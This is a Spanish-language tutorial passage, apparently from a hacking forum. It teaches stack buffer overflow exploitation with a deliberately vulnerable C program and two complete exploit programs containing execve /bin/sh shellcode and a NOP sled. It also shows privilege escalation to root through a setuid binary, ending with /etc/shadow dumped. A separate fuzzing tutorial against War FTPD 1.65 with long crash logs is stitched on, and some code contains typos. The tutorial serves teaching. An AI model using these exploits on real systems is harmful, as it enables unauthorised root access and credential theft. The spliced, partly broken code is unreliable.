de buf (joder, que frase mas larga .

Primero vamos con el codigo. ¨Que queremos ejecutar? Pues lo mas comun es
ejecutar una shell, y desde la shell ejecutar lo que nos salga de los webs.
Primero vamos a hacer un codigo en ensamblador que ejecute una shell.


Para ejecutar la shell vamos a hacer una llamada al sistema que le diga al
kernel que queremos ejecutar algo; evidentemente la unica que nos vale es
execve(). execve() toma tres argumentos:

- puntero a una cadena de caracteres con el path completo del programa a
   ejecutar.

- Puntero a un array de argumentos terminados en NULL que seran los que se
   pasen al programa que vamos a ejecutar.

- Puntero a un array con las variables de entorno.

Ok. Pues con esto ya podemos hacer el codigo en assembler, pero nos falta
una cosa:

Los punteros apuntan a una direccion de memoria (­­NO JODAS!!), pero nosotros
vamos a tener el codigo en una variable local, asi que desconocemos
totalmente la direccion de las cadenas de caracteres que pasaremos a
execve(). ¨Como podemos averiguar su direccion? Pues a alguien muy listo (no
se quien fue, pero seguro que es muy listo se le ocurrio esto:

- Antes del codigo que llama a execve plantamos un jmp que salte justo
   detras de la region donde tenemos las strings.
   (Nota: strings = cadenas de caracteres)

- La instruccion a la que hemos saltado es un call a la instruccion que esta
   delante del jmp. O sea, que volvemos a la inst. delante del jmp.

- ¨Que conseguimos con esto? Si recordais, al hacer un call, se guarda en la
   pila la direccion _absoluta_ de la siguiente inst. del call. ¨Y que hay
   delante del call? Las strings.

- Problema resuelto. Ya tenemos en la pila la direccion. Basta con hacer
   pop %registo_x y tendremos en ese reg. la dir. que buscabamos.

Ah!, se me olvidaba. La mayoria de los desbordamientos de buffer se producen
al copiar cadenas de caracteres con strcpy(). strcpy() para al encontrar un 0
en la cadena origen, asi que cuidado con poner 0s en la shellcode. Ademas, si
la llamada a execve() falla, el programa dara un segmentation fault, asi que
para evitarlo vamos a a¤adir una llamada a exit justo despues de la llamada a
execve().

Para hacer nuestro exploit tenemos que usar un programa vulnerable. Pues ya
que tenemos el prueba1.c vamos a usarlo (q taka¤o soi Pero vamos a
aumentar el tama¤o de su variable buf a 1024 caracteres para que quepa de
sobra la shellcode.

Prueba1.c quedaria asi:

******** prueba2.c *************************************
#include <stdio.h>

int main(int argc, char **argv)
{
  unsigned long *ret;
  char buf[1024];

  if (argc > 1) strcpy(buf, argv[1]);

  ret = &ret;
  ret += 1;
  printf(" El valor de EBP salvado es : %04x\n", *ret);
  ret += 1;
  printf(" La direccion de retorno es : %04x\n", *ret);
  fflush(stdout);

}
*******************************************************

Y el exploit es este: (comentado por supuesto

****** exploit1.c *************************************

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

/*
* Esta funcion tiene el codigo en asm que usaremos para ejecutar la shell
*/
void shell()
{
  __asm__("
       jmp 0x1f               
       popl %edi               
       movl %edi,%ebx         
       xorl %eax,%eax         
       movb %al,0x7(%edi)       
       movl %edi,0x8(%edi)     
       movl %eax,0xc(%edi)     
       leal 0x8(%edi),%ecx     
       leal 0xc(%edi),%edx     
       movb $0xb,%eax         
       int $0x80               
       xorl %ebx,%ebx         
       movl %ebx,%eax           
       inc %eax                 
       int $0x80                 
       call -0x24             
       .ascii \"/bin/sh0\"     
       .byte 0x00
  ");
}

/*
* Puntero al comienzo de la shellcode. Pongo "+ 3" para saltarme las
* instrucciones "push ebp y mov esp, ebp" de la func. shell()
*/
char *shellcode = (char*) &shell + 3;

/*
* Esta funcion devuelve el valor del reguistro esp
*/
unsigned long get_sp()
{
  __asm__(" movl %esp, %eax ");
}

int main(int argc, char **argv)
{
  char *args[3];
  char evil_buf[1036];
  /* 1036 porque = 1024 longitud del buffer + 4 de variable ret +
  4 de EBP salvado + 4 EIP */
  unsigned long *lptr;
  unsigned long ret;
  int offset = 0;

  printf("Uso:\n");
  printf("\t%s [offset]\n\n", argv[0]);

  if (argc > 1) offset = atoi(argv[1]);
 
  memset(evil_buf, 1, 1032);
 
  strncpy(evil_buf, shellcode, strlen(shellcode) - 1);
 
  lptr = (unsigned long*) &evil_buf[1032];
 
  ret = get_sp() - offset;
  *lptr = ret;
 
  args[0] = "./prueba2";
  args[1] = evil_buf;
  args[2] = NULL;

  printf("Explotando...\n");
  fflush(stdout);

  execve(args[0], args, NULL);
 
  perror("execve()");
}

**************************************************

Ahora compilamos y ejecutamos:

        # gcc prueba2.c -o prueba2
        # gcc exploit1.c -o exploit1
        # ./exploit1 
        Uso:
        ./exploit [offset]

        Explotando...
        El valor de EBP salvado es : 1010101
        La direccion de retorno es : bffff6a4
        Segmentation fault

Ummm... Parece que no funciona.... No hombre, lo que pasa es que la
direccion de retorno que usamos no apunta _justo_ al principio de nuestra
shellcode, asi que tendremos que probar con offsets aleatorios hasta
encontrar el bueno. Pero como eso o_usas_un_script_o_te_mueres_de_asco pues
vamos a usar las NOPS. Las NOPS son instrucciones que no hacen nada. Se usan
para calcular e introducir retardos. Pues nosotros las vamos a usar de la
siguiente manera:

- Justo antes del codigo en asm que ejecuta la shell vamos a poner un huevo
   de nops seguidas, asi, si la direccion de retorno apunta sobre ese rango
   de NOPS las ira ejecutando todas hasta dar con nuestro codigo, con lo que
   las posibilidades de encontrar un offset bueno se multiplican
   considerablemente.

El nuevo exploit es este:

*********** exploit2.c ***************************

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

/*
* Esta funcion tiene el codigo en asm que usaremos para ejecutar la shell
*/
void shell()
{
  __asm__("
       jmp 0x1f               
       popl %edi               
       movl %edi,%ebx         
       xorl %eax,%eax         
       movb %al,0x7(%edi)       
       movl %edi,0x8(%edi)     
       movl %eax,0xc(%edi)     
       leal 0x8(%edi),%ecx     
       leal 0xc(%edi),%edx     
       movb $0xb,%eax         
       int $0x80               
       xorl %ebx,%ebx         
       movl %ebx,%eax           
       inc %eax                 
       int $0x80                 
       call -0x24             
       .ascii \"/bin/sh0\"     
       .byte 0x00
  ");
}

/*
* Puntero al comienzo de la shellcode. Pongo "+ 3" para saltarme las
* instrucciones "push ebp y mov esp, ebp" de la func. shell()
*/
char *shellcode = (char*) &shell + 3;

/*
* Esta funcion devuelve el valor del reguistro esp
*/
unsigned long get_sp()
{
  __asm__(" movl %esp, %eax ");
}

int main(int argc, char **argv)
{
  char *args[3];
  char evil_buf[1036];
  /* 1036 porque = 1024 longitud del buffer + 4 de variable ret +
  4 de EBP salvado + 4 EIP */
  unsigned long *lptr;
  unsigned long ret;
  int offset = 0;

  printf("Uso:\n");
  printf("\t%s [offset]\n\n", argv[0]);

  if (argc > 1) offset = atoi(argv[1]);
 
  memset(evil_buf, 0x90, 1032);
 
  strncpy(evil_buf+1000-strlen(shellcode), shellcode, strlen(shellcode) - 1);
 
  lptr = (unsigned long*) &evil_buf[1032];
 
  ret = get_sp() - offset;
  *lptr = ret;
 
  args[0] = "./prueba2";
  args[1] = evil_buf;
  args[2] = NULL;

  printf("Explotando...\n");
  fflush(stdout);

  execve(args[0], args, NULL);
 
  perror("execve()");
}
****************************************************
   
        # gcc exploit2.c -o exploit2
        # ./exploit -400
        Uso:
        ./exploit [offset]

        Explotando...
        El valor de EBP salvado es : 90909090
        La direccion de retorno es : bffff768
        sh-2.03#


Co¤o, ya funciona! Si probais, vereis que ahora hay un monton de offsets
validos.

Bueno, pues esto es basicamente un buffer overflow. Hay un monton de
variantes, porque no son siempre tan faciles de explotar, por ejemplo, a
veces te tienes que currar una shell sin letras alfanumericas, o sin un
caracter en concreto... Tambien un tipo de desbordamientos donde la zona de
memoria que sobrescribes no esta en la pila, si no en la heap, y ahi no hay
direccion de retorno, asi que hay que ingeniarselas de otra manera. Quiza
para otro articulo


ALGO SOBRE LOS PROCESOS EN UNIX
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Hemos visto como funciona un buffer overflow bastante sencillo, y que nos
premetia cargar /bin/sh, ¨Pero como que usuario se ejecuta? ¨Que permisos
tendre en el sistema? El usuario sera el mismo, y logicamente los premisos
tambien. Cuando nosotros en UNIX cargamos un proceso a este se le asocia
un PID (identificador del proceso), un UID (identificador de usuario
real), un EUID (identificador de usuario efectivo), un GID (identificador
de grupo real) y un EGID (identificador de usuario efectivo). El UID y el
GUID del proceso es el mismo que son los mismo que los del usuario que
ejecuta dicho proceso, y el EUID y EGID marcan los privilegios del
proceso. Lo mas normal es que UID y EUID (al igual que GID y EGID)
coincidan, pero no siempre es asi, hay situaciones en las que EUID y EGID
toman como valor el UID y el GID que tiene el fichero. ¨Cuando ocurre
esto? Cuando el fichero a ejecutar tiene el setsuid activado (chmod +s
<fichero>). Todo esto parece muy complicado pero realmente es muy simple,
vamos a verlo con algunos ejemplos:

---// m_ids.c /---

#include <stdio.h>
#include <sys/types.h>

main() {
  printf("Los valores UID, EUID, GID y EGID de este proceso son:\n");
  printf("UID=%d\n", getuid());
  printf("EUID=%d\n", geteuid());
  printf("GID=%d\n", getgid());
  printf("EGID=%d\n", getegid());
}

---// m_ids.c /---

Miramos el usuario con el que estamos trabajando y compilamos...

   # whoami
    root
    # gcc m_ids.c -o m_ids
    # ./m_ids
    Los valores UID, EUID, GID y EGID de este proceso son:
   UID=0
   EUID=0
   GID=0
   EGID=0
    #

Logicamente, UID, EUID, GID, EGID, valen 0, pues somo el administrador del
sistema, el que tiene mayor control sobre el sistema, ¨pero que ocurriria
si ejectasemos ese mismo proceso con otro usuario? Vamos a provar:

Primero cambiamos los permisos para que cualquier usuario pueda ejecurtar
dicho fichero.

   # chmod 711 m_ids

Ahora cambiamos a otro usuario (UID, y GID del usuario distintos).

   #su ripe
    $ ./m_ids
   Los valores UID, EUID, GID y EGID de este proceso son:
    UID=500
   EUID=500
    GID=500
    EGID=500
    #

Como podemos el poder que el proceso ejecutado tiene ha cambiado, pues
pasa a tener el mismo poder que el usuario "ripe" tiene sobre el sistema
¨facil no? Pues veamos que pasa si ativamos el setsuid en m_ids.

Primero tenemos que volver a ser los propietarios del fichero para poder
usar chmod con el fichero.

   $ exit

Setsuid ON

   # chmod +s m_ids

Nuevamente nos metamorfoseamos y ejecutamos el fichero.

   # su ripe
   $ ./m_ids
    Los valores UID, EUID, GID y EGID de este proceso son:
    UID=500
    EUID=0
    GID=500
    EGID=0
    #

Vemos claramente que en este caso UID y EUID no coinciden (tampoco lo
hacen GID y EGID), ello es por que al estar activo el setsuid EUID y EGID
toman los valores UID i GID del fichero respectivamente, y debido a que
m_ids pertenece al usuario "root" (UID=0) y al grupo "root" (GID=0),
cualquier usuario que ejecute dicho fichero lo hara con privilegios de
"root", esto quiere decir que cualquier llamada que ese proceso haga al
sistema la hara como "root" (UID=0).

Espero que haya quedado claro el uso de setsuid (chmod +s
<fichero>), en caso de duda mandad un mail a You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login o
a You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.


VOLVAMOS AL EJEMPLO ANTERIOR
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Volviendo al ejemplo que nos ha expuesto Doing, nosotros logramos que un
fichero binario ejecute /bin/sh, pero como podeis ver, esto no tiene (en
principio ninguna utilidad, pues no conseguimos en ningun momento mejorar
nuestros privilegios en el sistema).

   # su ripe
   $ ./exploit2 1
    Uso:
    ./exploit2 [offset]

   Explotando...
   El valor de EBP salvado es : 90909090
    La direccion de retorno es : 7ffff8d7
    Bash$ cat /etc/shadow
    cat: /etc/shadow: permiso denegado

Pues vaya mierda... no consigo nada.

Vamos a hacer un par de modificaciones al programilla "prueba2.c"

---// prueba3.c //---

#include <stdio.h>

int main(int argc, char *argv[]) {
  unsigned log *ret;
  char buf[1024]

  if(argc > 1) strcpy(buf, argv[1]);

  printf("El UID, el GID, el EUID y el EGID de este proceso son:\n");
  printf(" UID=%d\n", getuid());
  printf(" GID=%d\n", getgid());
  printf(" EUID=%d\n", geteuid());
  printf(" EGID=%d\n", getegid());
 
  ret=&ret;
  ret += 1;
  printf(" El valor de EBP salvado es: %04x\n", *ret);
  rer += 1;
  printf(" La direccion de retorno es: %0ax\n", *ret);
  fflush(stdout);

}

---// prueba3.c //---

Compilamos :->

   $ gcc prueba3.c -o prueba3

Ahora tendras que hacer tambien una peque¤a modificacion al exploit.
Debido a que ahora este tendra que explotar "prueba3" y no "prueba2",
debes cambiar la linea args[0]="./prueba2", por la linea
"args[0]="./prueba3". Ya estamos preparados para ver que pasa

     $ ./exploit2 1
   Uso:
   ./exploit2 [offset]

   Explotando...
    El UID, el GID, el  EUID, el EGID de este proceso son:
    UID=500;
    GID=500;
    EUID=500;
    EGID=500;

    El valor de EBP salvado es : 90909090
    La direccion de retorno es : 7ffff8ba
    bash$

Vemos "prueba3" se ha ejecutado con EUID=500 y EGID=500 (los mismo que
tiene el usuario ripe), por lo que el bash que hemos logrado abrir tendra
estos privilegios... malo malo, no hemo ganado nada (a estas alturas ya
deberiais saber porque ).

¨Entonces "prueba3" no se puede explotar para lograr mas privilegios? Pues
tal y como esta la situacion no, pues todos y que "prueba3" es vulnerable
este se ejecuta con los mismos privilegios que "exploit2", que ha sido
llamado por el usuario "ripe" (UID=500, GID=500). Sinembargo si "prueba3"
tiene setsuid activado.... A ver que ocurre.

   # whoami
    root
   # chmod +s prueba3
    # su ripe
    $ ./exploit2 69
    Uso:
    ./exploit2 [offset]

   Explotando...
   El UID, el GID, el EUID, y el EGID de este proceso son:
    UID=500;
   GID=500;
   EUID=0;
   EGID=0;
   
    El valor de EBP salvado es : 90909090
    La direccion de retorno es : 7ffff893
    bash# cat /etc/shadow
    root:4rTGBh&hn&/Hlaa&mdeK23f12eQrUJha:11125:0:99999:::
    bin:*:11125:0:99999:::
    ...(etc, etc )

Ahora vemos que el proceso se ejecuta con EUID=0 y EGID=0, por lo que la
llamada a /bin/sh se hara como root, de manera que ­tachaaa! se nos abre
un bash con privilegios de root. No esta mal ¨Ahora que hago? Esto depende
de ti.


¨CON QUE APLICACIONES CHUTA TODO ESTO?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Asi pues ¨que aplicaciones son vulnerables a este tipo de ataques? Pues,
creo que esta claro, cualquier aplicacion con setsuid activado y a la que
se le pueda desbordar el buffer. Si detectas una aplicacion vulnerable en
tu sistema la solucion en bien sencilla, basta con desactivar el setsuid
(chmod -s <fichero>).

  [idea] Para comenzar, diremos que se conoce como "Fuzzing" a las diferentes técnicas de software automatizadas, capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado.

[idea] Las herramientas con capacidad de "Fuzzing", a menudo son conocidas como "Fuzzers", y dependiendo de la implementación que cada una de estas herramientas haga de las técnicas de "Fuzzing", es probable que existan tipos que se ajusten mejor a cada una de las diferentes necesidades del researcher o profesional a cargo del testing (Protocolos / Networking, Application / WebApplication, etc.).

[idea] Si bien es cierto que el concepto de "Fuzzing" es de ámbito general de acuerdo a lo mencionado, quizás no sea mala idea el que conozcas como funciona cada una de las herramientas a tu alcance, antes de decidir su tilización en alguno de tus proyectos personales.

[idea] Pero imagino que probablemente exista quien aún no haya entendido a lo que me estoy refiriendo, por tanto me permitiré tomar el siguiente ejemplo: Supongamos que necesitamos conocer si una aplicación en particular posee algún tipo de Buffer Overflow, a fin de detectar este tipo de situación, un tester sencillamente podría generar datos de distintos tamaños y enviar estos a uno de los puntos de entrada existentes en la aplicación, con el objeto de observar su comportamiento ante estas pruebas o mejor dicho como estos requerimientos son manejados. Si el programa a testear falla en tal menester, esto significara dos cosas: que hay defectos que corregir, y que probablemente sea posible explotar la falla.

[idea] De acuerdo a lo mencionado hasta aquí, podemos inferir que el principal uso del Fuzzing, es el de testear software (servicios, protocolos, aplicaciones, etc.) con el objeto de encontrar defectos de desarrollo o implementación. Este testing no solo puede (y debe) ser llevado a cabo como parte del ciclo de vida de un desarrollo, sino que también comprende un método excelente de testeo a ser aplicado como parte de pentest del tipo "BlackBox". Debido a su relativa sencillez, estas técnicas a menudo poseen una relación costo beneficio altamente efectiva. A pesar de esto, el Fuzzing no reemplaza el testing manual o los métodos tradicionales de testeo de software y QA, este solo podrá proveernos de una serie de pruebas aleatorias que podrían mostrarnos solo una parte del
problema.


[idea] El "Fuzzing" de protocolos, no es muy diferente al "Fuzzing" de aplicación. Cada protocolo posee su propio set de parámetros y una estructura que a menudo puede ser testeada. Los "Fuzzers" basan parte de su tarea en la ventaja que les brinda el conocer exactamente como "debería" funcionar determinado protocolo basándose en los RFCs relacionados a tal o cual de ellos. De este modo, el Fuzzer sabe que debe esperar de cada una de las pruebas a las que someterá al protocolo a testear (o mejor dicho su implementación) y podrá alertar al tester cuando encuentre una respuesta que no ha podido ser manejada o ha sido manejada erróneamente.

[idea] Pero ¿como hace realmente un Fuzzer para llevar a cabo su tarea? a fin de ejemplificar su operatoria, me basaré de un ejemplo que oportunamente publicara Sacha Faust, de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login  en un excelente paper que aprovecho a recomendar desde aquí, el cual se denomina "Web Application Testing with SPI Fuzzer". 

[idea] Cuando se trabaja con fuzzing sobre HTTP, generalmente se intenta testear al menos cada uno de los siguientes aspectos del protocolo o su implementación:

CitarMétodo (GET / POST)
Request-URI (Con posibilidad de testear CADA UNO de los parámetros que
ellos manejan: resource path, resource file, resource file extension, resource and
query delimiter, parameter name, parameter name value assignment, parameter
value y parameter separator)
Protocol Version (0.9, 1.0 y 1.1 mas la identificación de protocolo: HTTP y el
delimitador: /)
Header Fields (Aquí es posible testear Header name y su valor asociado)
Cookies (Nombre y valor de cada cookie pueden ser fuzzeados en forma
independiente)
Post Data (Datos y Content-Length pueden ser fuzzeados)

[idea] Para que quede un tanto mas claro, la idea detrás del fuzzing de protocolo http en este ejemplo, es básicamente la de parsear cada uno de los aspectos que componen el protocolo y testear mediante la generación de determinados requerimientos, cada uno de estos componentes en forma individual, a fin de  identificar el modo en que la implementación maneja las excepciones o inclusive la alteración de tráfico real.

[idea] El request HTTP citado a continuación, corresponde a un requerimiento real hecho por un browser a un sitio web determinado. Las partes dispuestas en color rojo, representan algunos de los datos/campos que tal como mencionáramos en el párrafo anterior podrían ser sometidos a "Fuzzing" en forma individual, a fin de observar su comportamiento:

Citar
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*
Referer: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Content-Length: 71
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;xxxxxxxxxxx=C
OUNTRYNAME=Argentina
txtUsuario=User&txtPassword=Password

[idea] Bien, ahora que conoces conceptualmente alguno de los aspectos más importantes en torno al Fuzzing, creo que es hora de dar nuestros primeros pasos en la utilización de alguna herramienta que implemente este tipo de técnicas.

[idea] Una rápida búsqueda en Google, probablemente arroje una serie de páginas con links a algunas de las herramientas más populares. Algunos buenos ejemplos de estas, sin lugar a dudas sean: SPIKE 2.9 de Immunitysec, mielietools 1.0 de Sensepost, SPI Fuzzer de SPI Dynamics y Fuzzer 1.1 de Sergio "Shadown" Alvarez.

[idea] A los efectos de ilustrar este artículo, he decidido utilizar mi preferido: Fuzzer 1.1 de  Sergio "Shadown" Alvarez. Los motivos de esta elección son varios. En primer lugar, su código se encuentra disponible y se distribuye bajo GPL. En segundo lugar, es pequeño, sencillo, potente, rápido y esta escrito en Python .

[idea] Antes de comenzar vamos a asegurarnos de que has obtenido lo necesario como para tener Fuzzer 1.1 funcionando en tu equipo de pruebas:

  Python 2.2:Puesto que Fuzzer 1.1, se encuentra desarrollado en Python, la instalación de este entorno resulta imprescindible

  pyOpenSSL:A fin de manejar en forma correcta el tráfico SSL, Fuzzer 1.1 requiere tener instaladas las librerías provistas por este wrapper de nombre pyOpenSSL  . Su instalación es sumamente sencilla y no deberías tener problemas para tener funcionando esta en segundos.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login



You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


  Descargar Fuzzer 1.1 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

[idea] Fuzzer 1.1 es una sencilla y potente herramienta de "fuzzing" desarrollada por Sergio "Shadown" Alvarez . Esta se entrega con los protocolos FTP, SMTP y POP3 declarados por defecto y listos para usar,  aunque debido a su concepción modular, el agregado de nuevos protocolos, debería resultar en una tarea sencilla pro medio de la edición del archivo de configuración "protocols.py". Al descargar el tar.gz, no tendrás más que disponer de un directorio (fuzzer-1.1 por defecto) donde descomprimir sus archivos y comenzar a disfrutar de sus bondades.

[idea] Ok, si todo ha salido bien, tu sistema contará a partir de este momento, con una instalación de Python, las rutinas SSL requeridas por la aplicación, y Fuzzer 1.1 lista para ser ejecutada. Para constatar que todo este funcionando, sencillamente abriremos  una ventana de comandos (Ejecutar-->CMD.exe-->Enter),  nos situaremos sobre el directorio donde hemos instalado Fuzzer 1.1, y ejecutaremos la siguiente línea:

C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py 

  Luego de dar entrada al comando anterior, deberías estar viendo la ayuda de Fuzzer 1.1 tal como se muestra en la Imagen.



[idea] Felicitaciones!! ya estas en condiciones de comenzar a realizar testear algunas aplicaciones y protocolos!, que ¿como haces esto? bien... la verdad es que la respuesta acuanto tus conocimientos de lenguajes de programación, protocolos, networking y seguridad, pero para no decepcionarte vamos a descargar un viejo programa FTP muy conocido por su popularidad y por la existencia de algunos Buffer Overflows encontrados en algunas de sus versiones, en particular en la 1.65, se trata de War FTP Daemon

  Descargar War FTPD Daemon 1.65You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

[idea] Ok, te diré lo que haremos ahora para poder probar la efectividad de Fuzzer 1.1 en la detección de posibles bugs en el software... Descargado e instalado este servidor FTP(Setup.exe), procederemos a ejecutarlo (war-ftpd.exe). Luego de dar OK en la pantalla de bienvenida, nos encargaremos de que el servicio FTP se ponga a correr... para esto, deberemos hacer click en el icono ilustrado con un rayo



Ya es hora, abriremos ahora una nueva ventana de comando (CMD.EXE), ingresaremos al directorio donde hayamos instalado el Fuzzer, y procederemos a ejecutarlo con la siguiente línea de comando:

C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py –h localhost –p 21 –t FTP 

[idea] Perfecto, luego de dar entrada a esta línea, Fuzzer se pondrá a trabajar creando y enviando paquetes, para luego evaluar su resultado .



[idea] Ahora bien, puesto que el software que estamos testeando tiene un bug (Reportado y reparado hace mucho tiempo ya...) llegara un momento donde Fuzzer hará que WarFTPD se cierre inesperadamente, para luego anunciar un mensaje en pantalla  en donde podrás leer:

Citar<***> Bug found!!! ) <***>

[idea] Ahora Analizamos la Informacion que nos Entrega Fuzzer 1.1 .

Citar-----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

                >> USER  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A
A  A  A  A  A  A  A  A  A  A  A
                << 331 User name okay, Need password.

                -----------------------------------------------
                << 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.

